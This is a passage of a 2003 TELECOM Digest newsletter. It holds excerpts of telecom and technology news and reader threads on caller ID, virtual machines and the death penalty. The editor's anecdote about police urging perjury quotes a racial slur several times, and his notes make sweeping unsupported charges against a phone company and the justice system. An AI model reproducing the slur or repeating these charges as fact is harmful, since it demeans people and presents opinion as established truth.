in Redwood Shores, Calif., has produced the Personal Locator, a satellite-based tracking device intended to head off the kind of panic that Mr. Neher experienced. Location-sensing technologies based on satellite-based systems or infrared tracking are not new. But design advances have made the components small enough to fit into hand-held units, or to be built into bracelets or backpacks, relaying information that can readily be monitored on the Web. Couple that with a more security-conscious world, and suddenly tracking systems seem to be everywhere, keeping tabs on the whereabouts of children, elderly relatives and even belongings - in addition, of course, to helping drivers, hikers and sailors find their way from point to point. http://www.nytimes.com/2003/01/16/technology/circuits/16loca.html ------------------------------ Date: Thu, 16 Jan 2003 22:38:57 -0500 From: Monty Solomon Subject: Spam? No Thanks, We're Full By Janet Kornblum January 13, 2003 The number of spam messages sent increased nearly 300 percent from 2001 to 2002 -- from 14,078,511 to 55,683,103, according to e-mail filtering company Brightmail. ""FREE mortgage quotes and ""Cheap printer cartridges!"" and ""Free passes to thousands of XXX sites!"" All of it ""URGENT & CONFIDENTIAL!"" If you think you're getting more spam than ever, you're right. Spam -- junk e-mail -- has dramatically increased in the past year, studies have shown. And next year will be even worse, one new report says. It predicts that by July, the volume of spam sent to business e-mail addresses will exceed the amount of regular e-mail. http://www.newsfactor.com/perl/story/20447.html ------------------------------ From: reo@roscoe.airaffair.com (Ross Oliver) Subject: Re: Pop-ups Add New Twist Date: 17 Jan 2003 01:32:16 GMT Organization: Concentric Internet Services Dr. Joel M. Hoffman wrote: > My suggestion is either: >1. use Linux, in which case you can run the browser as a powerless > user, so that the browser can't do too much damage; or >2. (more severe than one) use two computers, one for your important > data and one just to run the web browser. You can run vnc on the > browser computer so you can access it directly from your main > computer. Third option: run one computer INSIDE of another. Install Linux and use VMware (www.vmware.com) to create a self-contained Windows environment on a virtual machine. Sure, VMware Workstation costs $299, but nobody said security is cheap. > [TELECOM Digest Editor's Note: Right now, it seems my Windows XP is > *very sick*. I think if I can raise the money I am going to have to > dump this machine entirely, and go with Linux. The trouble is, I have > many very wonderful Window-based programs which will not run on *nix. > I do not know if I will ever get it straightened out again. :( PAT] Pat, VMware could solve this problem as well, allowing you to run Windows programs on a virtual machine under Linux. Ross Oliver ------------------------------ Date: 16 Jan 2003 15:47:04 -0800 From: Forrest Nelson Subject: Caller ID How difficult is it for someone to change how their number is displayed in your caller id? As an example I received a call that had nothing but zeros in the number. JFNelson [TELECOM Digest Editor's Note: It is difficult or impossible for small individual users. It is quite easy for large business users with a PBX or DID (direct inward dial) lines. They seem to do as they wish with impunity. Even Southwestern Bell claims they cannot control what companies do with their outbound Caller ID. Southwestern Bell will sell you a bogus, fraudulent service called 'Privacy Manager', and refer to it as a 'solution' if you scream loud enough however. We had a discussion recently on this very topic here in the Digest. Maybe a couple of the guys who participated in it will bring you up to date. Ten zeros is considered a 'legitimate' phone number for caller ID purposes according to SW Bell. The chairman's office there told me that after one of my calls to the Kansas commission prompted the spokeslady for the chairman's office to call me. PAT] ------------------------------ From: Joey Lindstrom Date: Thu, 16 Jan 2003 15:51:11 -0700 Subject: What Have You Been Drinking? Reply-To: joey@telussucks.info On Thu, 16 Jan 2003 17:18:33 EST, Gordon S. Hlavenka wrote: > The cop's son produces the gun which ballistics tests show is the > murder weapon. An investigation (using newly-developed computer > analysis not available at the time of the trial) shows that detectives > ""Photoshopped"" the picture. John is immediately released, and Jane > must serve 25 years behind bars. (What happens to the detectives is a > separate issue that can be handled under existing laws.) > Had John received the death penalty, Jane would be subject to > execution even if John had not yet been executed. > My suggestion (which I realize will NEVER happen) keeps Capital > Punishment available but discourages its use in all but the most > airtight cases. The case *WAS* airtight, as far as Jane knew. I can see implementing this *ONLY* if you can prove beyond a reasonable doubt that Jane was party to a fraudulent prosecution. If the cops cook the evidence and present it to her, and she doesn't know the evidence is cooked, then why in hell should she be subject to frying in the chair? How on earth can you justify that? -- Joey Lindstrom -- Telus Sucks http://www.telussucks.info [TELECOM Digest Editor's Note: Let me tell you how collusion between police officers and prosecutors works, Joey. In 1982, I was the victim of a robbery. A home invasion type thing. They suckered me with an excuse into leaving my apartment for all of a minute; maybe two. They worked quickly; when I went back in my place they had been there; an Apple ][+ computer was missing. I notified the police, but managed to retrieve the computer and cords and disk drives from where they had stashed them in a vacant apartment in the building. The police officers told me to go see the state's attorney on the day of the trial. When I went in his office, a police officer was sitting there with him. I had identified two of the guys who had been in on it (suckering me to leave my apartment for a couple minutes). The police had arrested them both in the hallway outside my apartment. *The other guys involved in it (four in total) were no where to be found.* The two the police had arrested did NOT have any of my stuff in their possession. The conversation with the prosecutor went like this: (prosecutor): did you see these two (arrested) guys in the hallway there? (me) Yes. (prosecutor): what of your stuff was in their possesion? (me) Those two guys did not have any of it. (prosecutor): Do you know what that means? When we get into court and you give that testimony, the judge will cut them both loose. They'll walk out today. The prosecutor hangs his head, clucks his tongue, and says to the police officer, ""would you please explain to Mr. Townson what we are trying to accomplish here?"" With that, he got up and _left the room_. The police officer said to me (once the prosecutor was out of the room, he was smart enough to not be in the room while the cop was talking to me) -- and I quote -- ""do you want to see those niggers go free?"". I was a little shocked hearing that sort of thing, but decided to continue listening. ""You could get up in court and say what you told us, and watch those vermin go free ... or you could lie about it. Tell the judge you saw those two with one of the computer parts, lets say the power cord. Then I can tell you they'll get two years IDOC (Illinois Department of Corrections). That's how this judge works. But dont use the word 'niggers' when we get in court. It has to appear it is a fair trial."" Then he shut up and made some sort of finger motion, because the prosecutor came back in the room almost right away. ""Did you explain to Mr. Townson our objectives here?"" asked the prosecutor. The prosecutor was a smart man; he did not intend to leave himself in any trickbag. I would have had to *prove* that he was part of any conspiracy, that he knew what the police officer had said to me and that he (prosecutor) had condoned perjury in the court. I told the prosecutor I had decided not to prosecute the crime after all, and excused myself, then left. Like many of the families of victims of the men on death row, I felt victimized twice also. Once by the no-good guys who had come into my home and ripped me off; then a second time by the police officer/prosecutor who had encouraged me to get up and lie in court, 'so the niggers do not walk away without punishment'. And if the police/prosecutor would encourage *me* to get up and commit perjury over a lousy computer (since recovered) then what makes you think they would not encourage perjury by a forensic technician who was employed by the police or an outraged man whose wife had been sexually assaulted or an angry mother whose little son had gotten buggered on the way home from school one day? So Joey, how did your imaginary Jane know the case was cooked? Well, if she had been a prosecutor in Chicago (or an evidence technician in Oklahoma City named Joyce or God knows who in Detroit or New York City, she'd know, believe me. Ms. Davis does not like the idea of me sterotyping police, calling them evil intake agents for our nation's correctional industry. So I won't call them that, I'll simply say alot/most of them leave much to be desired in the way of decent understanding human beings. You see Joey, you're the one who needs the stiff drink tonight, not Gordon H. who you abused in your message. He lives around the Chicago area like I used to; he knows how things work there. PAT] ------------------------------ From: Dale Neiburg Subject: So What Has *He* Had to Drink Tonight? was Re: Death Row Date: Thu, 16 Jan 2003 18:08:45 -0500 Gordon Hlavenka wrote: > Had John received the death penalty, Jane would be subject to > execution even if John had not yet been executed. > My suggestion (which I realize will NEVER happen) keeps Capital > Punishment available but discourages its use in all but the most > airtight cases. This aproach is actually the one used for a thousand years or so in imperial China. The magistrate who tried a case also served as (in our terminology) superintendent of police, public prosecutor, and jury. He was also not only allowed but *encouraged* to use torture to get a confession. What prevented the grossest abuses was an intricate system of oversight and a law that if the judge tortured or executed someone who subsequently turned out to be innocent, the same torture/method of execution would be inflicted on the judge. On the whole it worked very well. Dale Neiburg ** NPR Satellite Operations ** 202-513-2640 ""I do not feel obliged to believe that the same God who has endowed us with sense, reason, and intellect has intended us to forgo their use."" --Galileo Galilei [TELECOM Digest Editor's Note: And I have always thought that we would have a much better police force if ex-prison inmates were hired for the job. PAT] ------------------------------ From: january2003@saurasite.com Subject: Pat, the Visionary ???? Date: Thu, 16 Jan 2003 19:22:50 +0200 Please note that the address ""january2003@saurasite.com is a temporary address, and is valid only until the end of the current month. On Wed, 15 Jan 2003 22:11:45 -0500, in comp.dcom.telecom you wrote: > [TELECOM Digest Editor's Note: Normally, about this point, Ms. Davis, > I have to draw a line and ask the participants to move their debate to Pat, I was just beginning to wonder about that, having pretty much ""skimmed through"" this particular thread ... Then I saw this ... and I apologize for extending the thread. > I do not *ever* support a *forced* death penalty (the kind where you > are led away then injected). I would support a *voluntary* death > penalty. If that sounds like an oxymoron, let me explain. After a > person crossed some arbitrarily defined point in society (either a > henious murder, or similar, if *I* were the judge (which I never would All I can say is a resounding "" Y E S ! "" ...... the concept you suggested should be held up as an example everywhere ... > (2) if you prefer life in the hellish confines of a prison, in > effect afraid to face death and whatever that may entail, > then you may choose to accept confinement in a prison > for the rest of your natural life (or maybe present age > plus 40 years or death, whichever comes first.) And whatever that term is, it *will not be reduced* ... no parole, no ""time off for good behaviour"" etc ... > That, Ms. Davis, is how *I* would deal with it. Like the problem of > unwanted animals in the Independence Animal Shelter (maybe your town > as well?) being 'put to sleep' when the shelter gets overcrowded, what Pat, the ""problem"" of a death row inmate more resembles the case of a large, vicious dog, that had been running wild and attacking at random. ""Society"" seems to have no problem dealing with a vicious animal (who won't get the benefit of judge and jury either) -- it ought not be any more difficult to deal with a ""human"" who has, by his own actions, voluntarily placed himself outside the norms of the society he lives in. This presupposes that there must be a *good* system that has proven beyond any reasonable doubt that the person concerned *is* guilty and there *must* be adequate safeguards, but sometimes there's Just No Doubt at all, and society should be ""relieved"" of something ""unacceptable"" ... Cheers Frank R.P. [TELECOM Digest Editor's Note: That's a mighty big presupposition you are asking us to make. And most of the time, when we 'assume' something it makes an 'ass' of 'u' and 'me' as the statement goes. It has been a long time since we had any semblence of decency and honesty in our system of justice in the USA. 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Townson Forget Tin Cans, These Gizmos Improve Wi-Fi Trouble Spots (Monty Solomon) Risks of Using Orange SPV Smartphone 2002 (Monty Solomon) Phone Units Join in Effort for Seamless Wireless Net (Monty Solomon) Getting Onto the Internet at 30,000 Feet or So (Monty Solomon) DMCA vs. The Garage Door Opener (Monty Solomon) ACLU Surveillance Report: ""Bigger Monster, Weaker Chains"" (Monty Solomon) Bouncing Signals Push the Limits of Bandwidth (Monty Solomon) Mobile Operators' Regulatory Time Bomb (Monty Solomon) Register.com Presented With Buyout Bid (Monty Solomon) MS Seeks Malware, Bust Phones After SPV Security Crack (Monty Solomon) APC ""Back-UPS CS"" Recall (Monty Solomon) Michelin to Embed Electronic ID Tags in Tires (Monty Solomon) DirecTV DSL Customers Get Reprieve (Monty Solomon) After the Copyright Smackdown: What Next? (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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MOSSBERG The hottest technology in personal computing is wireless networking, which allows users to share a high-speed Internet connection among multiple computers without being tethered to wires or wall jacks. Known as Wi-Fi, this wireless system is commonly used to connect computers in various rooms of a home, but it's also popping up in public places like airports, hotel lobbies and coffee shops. But there's a problem with Wi-Fi: In most homes, the wireless Internet signal doesn't extend to rooms far from the base station, or access point, which transmits the Internet signal. Even if the signal gets to a distant room, it can be weak or fade in and out, making for a slow and unreliable connection. Unfortunately, there are few simple, ready-made solutions for these reception problems. If you're a techie or a do-it-yourselfer, you can go online and learn how to rig up more-powerful antennas, using such things as surplus Russian military gear and even empty cans from Pringles potato chips. But it's complicated. One maker of Wi-Fi gear, Linksys, has just introduced a special component that boosts the wireless signal, but it works only if you have certain Linksys base-station models. http://ptech.wsj.com/archive/ptech-20030102.html ------------------------------ Date: Thu, 16 Jan 2003 23:07:08 -0500 From: Monty Solomon Subject: Risks of Using Orange SPV Smartphone 2002 Excerpt from Rupert Goodwins' Diary 17:22 Friday 10th January 2003 http://comment.zdnet.co.uk/story/0,,t479-s2128519,00.html The next time I looked at the phone it appeared to have turned itself off -- so I tried switching it on again. When it eventually came to life I could not get it to dial -- a closer examination revealed the legend 'Radio off' displayed very legibly on the SPV's excellent screen. No amount of menu searching let me find anything that would turn the phone's radio back on. At this point I remember making a few comments about the dubiousness of Bill Gates' parentage. I eventually managed to flag down a passing skier who let me use her Nokia phone (which switched on immediately) to call for help. Later analysis revealed that the problem arose because of the SPV's implementation of the ON/OFF button. It needs to be depressed for a couple of seconds to function as an on/off switch. If pressed and released briefly it summons a 'QuickList' menu -- where one of the items lets you turn the radio -- presumably to let you watch movies on the thing when airborne on something more reliable than two planks of wood. My conclusion is that during my attempts to switch the phone on I must have inadvertently selected the QuickList menu and then selected the Radio off item. It took quite a bit of frustrating exploration to find the QuickList menu again -- so I was without the use of the SPV for another day or so."" So there you go: if you must place yourself in life-threatening situations with a modern information appliance as your only hope of rescue, don't pick something with an obscure user interface. ------------------------------ Date: Thu, 16 Jan 2003 23:31:32 -0500 From: Monty Solomon Subject: Phone Units Join in Effort for Seamless Wireless Net By BARNABY J. FEDER Motorola, Proxim and Avaya are expected to announce today that they will jointly develop technology to allow wireless communications to jump between networks without interruption. If the three companies are successful, an executive could begin downloading data using a wireless hub in a Starbucks, airport or other public site and move to a company office without interrupting the transfer. Similarly, a phone call that began over a company's internal voice-over-Internet network could move to a public carrier as the user of the cellphone left the building. Analysts briefed on the plans said the partnership would face daunting technical hurdles, including reconciling the different security levels and frequency levels in different wireless networks. Analysts called it the most ambitious wireless roaming plan yet to try to take advantage of the spread of communication hubs based on a standard called 802.11, known as Wi-Fi. The hubs, also called hot spots, are either free to any user of a mobile device with a Wi-Fi card who happens to be in the neighborhood or are limited to subscribers, depending on who operates them. Most Wi-Fi networks have focused on transfer of e-mail messages and other forms of data from laptop computers but the goal of the three companies is to offer seamless transitions to cellphone users as well. http://www.nytimes.com/2003/01/14/business/14MOTO.html ------------------------------ Date: Thu, 16 Jan 2003 23:40:17 -0500 From: Monty Solomon Subject: Getting Onto the Internet at 30,000 Feet or So By EDWARD WONG For many air travelers, flying has become an escape from the modern-day cyclone of phone calls, e-mail and instant text messages. But some of the world's largest airlines are now rolling out technology that allows passengers to surf the Internet, check e-mail and beam text messages to the ground. Lufthansa Airlines, the German carrier, begins flying a Boeing 747-400 today between Frankfurt and Washington outfitted with Internet connectivity developed by the Boeing Company. Next month, British Airways plans to start a trial flight with the same technology between London and New York. Japan Airlines and SAS, the Scandinavian carrier, have signed contracts with Boeing to outfit nearly a dozen planes each to offer Internet service next year. Later this month, Cathay Pacific, the airline based in Hong Kong, will offer e-mail service on 40 planes using technology developed by Tenzing Communications, a small company based in Seattle that is partly owned by Airbus, Boeing's rival. Another system, jointly developed by Tenzing and a company called ARINC, is already being used by Virgin Atlantic Airways, which has four planes that allow travelers to send brief text messages - at $2.50 each - that are typed out on video screens on the backs of seats. Virgin has a contract to install the system on its entire fleet by year's end; the technology has also been tested by Air Canada and Singapore Airlines. The big question is whether passengers - especially business travelers - will pay to plug into the digital grid at 30,000 feet. Those airlines that use Boeing's service, called Connexion by Boeing, expect to charge passengers $30 to $35 a piece for unlimited Internet access. Tenzing executives said airlines carrying its e-mail system, which does not allow Internet surfing, were expected to charge $10 to $20. http://www.nytimes.com/2003/01/15/business/15AIR.html ------------------------------ Date: Thu, 16 Jan 2003 23:45:12 -0500 From: Monty Solomon Subject: DMCA vs. The Garage Door Opener http://www.politechbot.com/p-04319.html From: Declan McCullagh Subject: FC: DMCA vs. The Garage Door Opener [I've copied the attorneys for the plaintiffs in case they wish to reply to Fred. For their reference: Politech is a moderated discussion forum populated by many members of the legal community, and I attempt to include all reasonable, well-stated views. --Declan] Date: Wed, 15 Jan 2003 18:48:21 -0800 Subject: DMCA v garage door openers From: Fred von Lohmann EFF To: Declan McCullagh [Feel free to post to Politech] In the latest bit of DMCA lunacy, copyright guru David Nimmer turned me onto a case that his firm is defending, where a garage door opener company (The Chamberlain Group) has leveled a DMCA claim (among other claims) against the maker of universal garage door remotes (Skylink). Yet another case where the anti-circumvention provisions of the DMCA are being used to impede legitimate competition, similar to the Lexmark case. Not, I think, what Congress had in mind when enacting the DMCA. The Complaint: http://www.eff.org/IP/DMCA/20030113_chamberlain_v_skylink_complaint.pdf The Amended Complaint: http://www.eff.org/IP/DMCA/ 20030114_chamerberlain_v_skylink_amd_complaint.pdf The Summary Judgment Motion: http://www.eff.org/IP/DMCA/20030113_chamerlain_v_skylink_motion.pdf Attorneys for Sklylink are (both at the Orange County offices of Irell & Manella, a large law firm): ""Nobles, Kimberley"" ""Greene, Andra"" Fred von Lohmann Senior Intellectual Property Attorney Electronic Frontier Foundation fred@eff.org +1 (415) 436-9333 x123 ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ ------------------------------------------------------------------------- Like Politech? Make a donation here: http://www.politechbot.com/donate/ Recent CNET News.com articles: http://news.search.com/search?q=declan ------------------------------------------------------------------------- ------------------------------ Date: Thu, 16 Jan 2003 23:49:43 -0500 From: Monty Solomon Subject: ACLU Surveillance Report: ""Bigger Monster, Weaker Chains"" http://www.politechbot.com/p-04324.html Date: Thu, 16 Jan 2003 10:43:11 -0500 From: Declan McCullagh Subject: FC: ACLU surveillance report: ""Bigger Monster, Weaker Chains"" Date: Wed, 15 Jan 2003 07:40:00 -0500 To: Declan McCullagh From: Barry Steinhardt Subject: The Growth of an American Surveillance Society. Declan, I thought politechers would like to know about a new ACLU report, ""Bigger Monster, Weaker Chains: The Growth of an American Surveillance Society."" This report grew out of our sense here at the ACLU that in order to make progress on the privacy issue, we have to shift the terms of the debate. When viewed in isolation, many new privacy invasions seem harmless to many Americans, who don't see why they should care that (for example) someone is recording the date and time that they drive through a tollbooth. To understand the privacy issue one has to look at the big picture to understand that each new piece of information collected about us, no matter how seemingly harmless, is increasingly being added together with thousands of other data points to create an extremely intrusive, high-resolution picture of our lives. The need to shift the terms of the debate on privacy to focus more on the big picture was made a lot easier by the breaking of the story of the Pentagon/Poindexter Total Information Awareness program and that story has provided the perfect opportunity to try to spark a broader discussion of how we are going to handle all the intrusive new technologies that are being developed, and what we are going to let this country turn into. The report is available on-line at http://www.aclu.org/Privacy/Privacy.cfm?ID=11573&c=39. Barry Steinhardt ------------------------------------------------------------------------- POLITECH -- Declan McCullagh's politics and technology mailing list You may redistribute this message freely if you include this notice. To subscribe to Politech: http://www.politechbot.com/info/subscribe.html This message is archived at http://www.politechbot.com/ Declan McCullagh's photographs are at http://www.mccullagh.org/ ------------------------------------------------------------------------- Like Politech? Make a donation here: http://www.politechbot.com/donate/ Recent CNET News.com articles: http://news.search.com/search?q=declan ------------------------------------------------------------------------- ------------------------------ Date: Fri, 17 Jan 2003 00:03:02 -0500 From: Monty Solomon Subject: Bouncing Signals Push the Limits of Bandwidth By IAN AUSTEN IT is a phenomenon well known to people who drive through urban high-rise canyons. Just as you stop at a traffic light, the car radio loses its signal. Once the light turns green, the car only has to creep forward a few feet to restore the radio reception. Those dead spots, which can also cut off cellphone calls and mobile computer communications, are often caused when signals bounce wildly off the surrounding buildings. This scattering creates pockets in which two reflections of the same signal collide and cancel each other out. Avoiding the undesirable effects of multipath, as this scattering effect is formally known, has long been a preoccupation of people who design wireless communications systems. Now, however, a system developed by Bell Labs actually embraces radio reflections not only to improve reception but also to boost the speed of wireless networks. Prototypes of the system, called Blast, can send data over third-generation, or 3G, cellphone networks at rates about eight times those of 3G. http://nytimes.com/2003/01/16/technology/circuits/16next.html ------------------------------ Date: Thu, 16 Jan 2003 22:19:05 -0500 From: Monty Solomon Subject: Mobile Operators' Regulatory Time Bomb Wall Street Journal BUSINESS EUROPE Mobile Operators' Regulatory Time Bomb By LEONARD WAVERMAN The U.K.'s competition regulator is in danger of deciding that Europe's decade of success in the mobile-phone business was a mistake. It would like to turn back the clock, or at least make Europe's wireless industry look a lot more like the far less-successful American mobile-phone business. There are innumerable differences between the U.S. and European mobile-phone markets, many of which contribute in one way or another to Europe's greater success in the mobile-telephony business. But one of the most important is the principle known in the business as ""calling party pays."" In Europe, the person who calls someone using a mobile phone pays entirely for that call. The called person pays nothing. This ""calling party pays"" principle also applies to fixed lines everywhere, Europe or the U.S., for calls made on the networks of BT, France Telecom, or Bell South. But on mobile phones in the U.S., the called party, the person who owns the mobile phone, pays part of the charges, so Americans use mobile phones less and turn them off to avoid paying for unwanted incoming calls. This difference in pricing is thought to be an important element in European domination in the mobile-phone wars. A greater proportion of Europeans have mobile phones than do Americans. The European mobile standard -- GSM -- dominates the world market, as do European phone and network-equipment manufacturers. None of this seems to matter to British regulators, however, which are currently considering sweeping changes -- not only to how the mobile-phone business is regulated but how customers themselves pay for the calls they make and receive. http://online.wsj.com/article_email/0,,SB1042409262357988944,00.html ------------------------------ Date: Fri, 17 Jan 2003 01:16:59 -0500 From: Monty Solomon Subject: Register.com Presented With Buyout Bid By ComputerWire Register.com Inc has received an unsolicited offer of almost $200m to buy the company outright, but has yet to make a public decision on whether shareholders should accept the offer, it emerged yesterday. RCM Acquisition Co LLC, a consortium of several Register shareholders set up specifically to launch the bid and apparently led by Barington Companies Equity Partners, said it presented the board of directors with a cash offer of $4.95 per share. http://www.theregister.co.uk/content/7/28890.html ------------------------------ Date: Fri, 17 Jan 2003 01:18:59 -0500 From: Monty Solomon Subject: MS Seeks Malware, Bust Phones After SPV Security Crack By John Lettice A quite bizarre CNET report reveals that Microsoft's Security Response Center began investigations into the circumvention of security on the SPV smartphone on Tuesday, searching -- so says CNET, anyway -- for reports of rogue programs on the network and damaged phones. Furthermore, says an anonymous source ""familiar with the situation,"" unlocking an SPV ""is a difficult process that sometimes involves taking the phone apart."" Oh really? One hazards a guess that this particular source is familiar with the situation as they would like it to be, and as it no doubt will be by version 2.0 or 3.0 - security hard-wired into the silicon, and the client irretrievably controlled/owned by somebody out there, not you. http://www.theregister.co.uk/content/59/28898.html ------------------------------ Date: Fri, 17 Jan 2003 01:30:39 -0500 From: Monty Solomon Subject: APC ""Back-UPS CS"" Recall http://www.cpsc.gov/cpscpub/prerel/prhtml03/03068.html APC Recall Hotline: (888) 272-7359 CPSC Recall Hotline: (800) 638-2772 CPSC Media Contact: Scott Wolfson (301) 504-7051 CPSC, American Power Conversion Corp. Announce Recall of Back-Up Power Supply Systems WASHINGTON, D.C. - In cooperation with the U.S. Consumer Product Safety Commission (CPSC), American Power Conversion Corporation (APC), of West Kingston, R.I., is voluntarily recalling about 900,000 back-up power supply devices. These devices are primarily used to protect computers in case of a power failure. The power supply device can fail, causing the unit to overheat, which may pose a fire hazard to consumers. APC has received six reports of units overheating resulting in the melting of the unit's outer casing and three reports of minor property damage. No injuries have been reported. The recalled Back-UPS(r) CS Uninterruptible Power Supply devices include the Back-UPS CS350 and the Back-UPS CS 500 models. The model number can be found on the front of the unit, along with the words, ""Back-UPS CS"" and ""APC."" In addition, one of the following numbers shows up on the bar code label located on the bottom of the unit: BK350, BK500, BK500BLK. The recalled power supply devices also have one of the following serial numbers - AB0048 through AB0251, BB0104 through BB0251, and JB0125 through JB0251 - which can be found on the bottom of the unit. Units with an ""R"" at the end of the serial number within the above ranges are not part of this recall. Retailers, computer and electrical distributors, and catalogs nationwide sold the power supply devices from November 2000 through December 2002 for between $70 and $130. Consumers should immediately stop using the power supply devices by turning off the power to all connected equipment, turning the Back- UPS CS off, and then unplugging it from the electrical outlet. To obtain a free replacement unit, consumers should contact the company at (888) APC-RELY (272-7359) between 9 a.m. and 5 p.m. ET Monday through Friday or log on to the company's website at www.apc.com/rely. ------------------------------ Date: Fri, 17 Jan 2003 03:09:56 -0500 From: Monty Solomon Subject: Michelin to Embed Electronic ID Tags in Tires Tue January 14, 2003 08:31 PM ET LOS ANGELES (Reuters) - Tire maker Michelin MICP.PA said on Tuesday it planned to embed technology in its tires that would allow them to be wirelessly linked to the car they are mounted on and transmit details like inflation pressure to a dashboard computer. Michelin North America, a unit of the French maker of tires and travel guides, said the system consists of an antenna and an integrated circuit the size of a match head. Proponents of such RFID tags, which store, send and receive data through weak radio signals, believe they will one day replace bar codes and revolutionize the way that inventories are tracked and consumer products are designed once their price falls far enough. http://www.reuters.com/newsArticle.jhtml?type=technologyNews&storyID=2045403 ------------------------------ Date: Fri, 17 Jan 2003 03:22:44 -0500 From: Monty Solomon Subject: DirecTV DSL Customers Get Reprieve By John Borland Staff Writer, CNET News.com DirecTV's high-speed Internet customers are getting an extra two weeks to find a new Net connection, but the company says their time is running out. The broadband ISP (Internet service provider) originally planned to turn off service Thursday to any of its 160,000 DSL (digital subscriber line) customers who hadn't found an alternative connection. Only a third of those subscribers actually have canceled service in the month since the company announced it was leaving the broadband business, however. In e-mails and postal mail sent to the remaining customers this week, the company said it is providing an extra two weeks, but that Jan. 31 will be the drop-dead date. http://news.com.com/2100-1033-964608.html ------------------------------ Date: Fri, 17 Jan 2003 03:26:28 -0500 From: Monty Solomon Subject: After the Copyright Smackdown: What Next? Don't despair at the Supreme Court's gift to Disney, says one expert. The fight has really only just begun. By Siva Vaidhyanathan Jan. 17, 2003 | When the U.S. Supreme Court ruled Wednesday that Congress was within its constitutional bounds to extend the duration of all copyrights by 20 years -- up to 70 years beyond the life of the author and potentially infinitely -- many saw the ruling as a knockout blow to the movement to reform copyright. Some on the public interest side are tempted to lament what could be called the ""Dred Scott case for culture,"" unjustifiably locking up content that deserves to be free. After all, six of the nine justices concurred with Justice Ruth Bader Ginsburg when she issued a stark opinion that cavalierly dismissed the historical ""bargain"" that justified American copyright in the first place: We the People agree to grant a limited, temporary monopoly to a creator or publisher in exchange for access to creativity and the eventual return of the work to a state of freedom. And Ginsburg's opinion did not allow that the purpose of copyright is to encourage future production, not lock up works already created. She ignored the fact that the Sonny Bono Copyright Term Extension Act of 1998 does nothing to ""promote the progress"" of science or art because it grants no incentive to produce and distribute new works. So out of despair some might see civil disobedience -- hacking and freely distributing songs and films over digital networks -- as the only remaining response to the excesses of the copyright regimes and the hold they have over courts and Congress. While disobedience might be more fun, the power of civil discourse remains. In fact, the ruling gives public interest activists both motivation and ammunition in the continuing battle against the excessive expansion of the power to control information and culture. http://www.salon.com/tech/feature/2003/01/17/copyright/ ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. It is circulated anywhere there is email, in addition to various telecom forums on a variety of networks such as Compuserve and America On Line, and other forums. It is also gatewayed to Usenet where it appears as the moderated newsgroup 'comp.dcom.telecom'. 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Townson US Military Bases Overseas (was Tokelau) (Mark J Cuccia) AT&T Broadband Raises Prices For Cablemodem Service (Hudson Leighton) Re: AT&T Broadband Users See 3rd E-Mail Shift (Jack Hamilton) Re: New Billboards Sample Radios as Cars Go By, Then Adjust (J. Hoffman) Re: New Billboards Sample Radios as Cars Go By, Then Adjust (P. Coxwell) High Debt Prompts SONICblue to Seek Copany Sale (Monty Solomon) 'Sanitized' Hard Drives Prove a Trove of Personal Info (Monty Solomon) Re: Telephone Scam (Mark Brader) Spam Scam Busted (Joey Lindstrom) Re: AT&T Wireless Internet at $4000 a Month!! Look out!! (Mike Hartley) Re: Caller ID (John Higdon) Re: Can I Detect Call Fowarding? (Vance Shipley) Re: Call Blocking Box For All Numbers From Given Country? (Vance Shipley) Why Are My Posts Not Showing Up? (Vance Shipley) Tail (SELLCOM Tech Support) Student Rush (Frank Beider) Re: Intertel vs. Harris 20-20 (Drew Ritenour) Can We Get Back on Topic? (Andrew Bell) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Fri, 17 Jan 2003 06:19:41 CST From: Mark J Cuccia Subject: US Military Bases Overseas (was Tokelau) John R. Levine wrote: > Mark J. Cuccia wrote: >> I have read that the use of +53-99-etc. for dialing directly to >> Guantanamo Bay in customer-dialable ONLY from the *US*, and not >> even from Canada. > I read somewhere that the phones at Gitmo are connected via the PBX at > an army base in Virginia. That explains no dialing from other > countries, since there's doubtless ITU rules against funky routing of > calls from A to B via C without B's consent. BTW, re 'Gitmo' and Cuba ... Cuba has a recently updated version of their Numbering Plan document at the ITU's website: http://www.itu.int/ITU-T/inr/index.html http://www.itu.int/ITU-T/inr/nnp/index.html (I'd mentioned this site recently, regarding Afghanistan's numbering plan document, in my recent post on Tokelau ... you can also find Tokelau's numbering plan and NUMEROUS other countries' numbering plans including documentation on the recently expanded numbering plans for +501 Belize and +592 Guyana at this site as well!) I don't have Cuba's plan in front of me at the moment, but I seem to think that they do *NOT* use the leading digit of '9' for any domestic Cuban area codes. Neither do they start off national numbering with '0'. I would ""expect"" a leading '0' for (domestic) toll calls, and a leading '00' for international dialed calls, but I don't know for certain if they follow the usual ""most-of-the-rest-of-the-world"" standard or not. But what's to stop Cuba from ever using +53-9(etc) for *CUBAN* national numbering?! After all, isn't +53 an ITU code assigned to *CUBA* and not the US? The use of +53-99 to reach 'Gitmo' from the US, and ONLY dialable from the US -- outside of the US government and telcos, who in the international telecom community (ITU/etc) authorized this? It seems that no-one outside of the US 'honors' +53-99 to reach 'Gitmo'; if Cuba determines that they want to start using +53-9(etc) for *their* own internal numbering, then what happens to 'Gitmo'? I would expect the ""rest of the world"" to honor such possible +53-9(etc) as part of *CUBA's* own internal numbering! > I wonder if there are secret Virginia numbers for Gitmo, like the > Hawaii numbers for Midway, so you can call there for 5 cents rather > than $2. And I do agree that the current rate for the US to even *DIAL* 'Gitmo' is *OUTRAGEOUS*. But even THAT (expensive rates) aside, if *routing* to 'Gitmo' is *NOT* 'via Cuba', WHY does 'Gitmo' even use a segment of *CUBA'S* numbering plan!? I would think that since 'Gitmo' is SO CLOSE to the US mainland (and in the *CARIBBEAN* at that too), that the Base *really* should be numbered and dialed as a 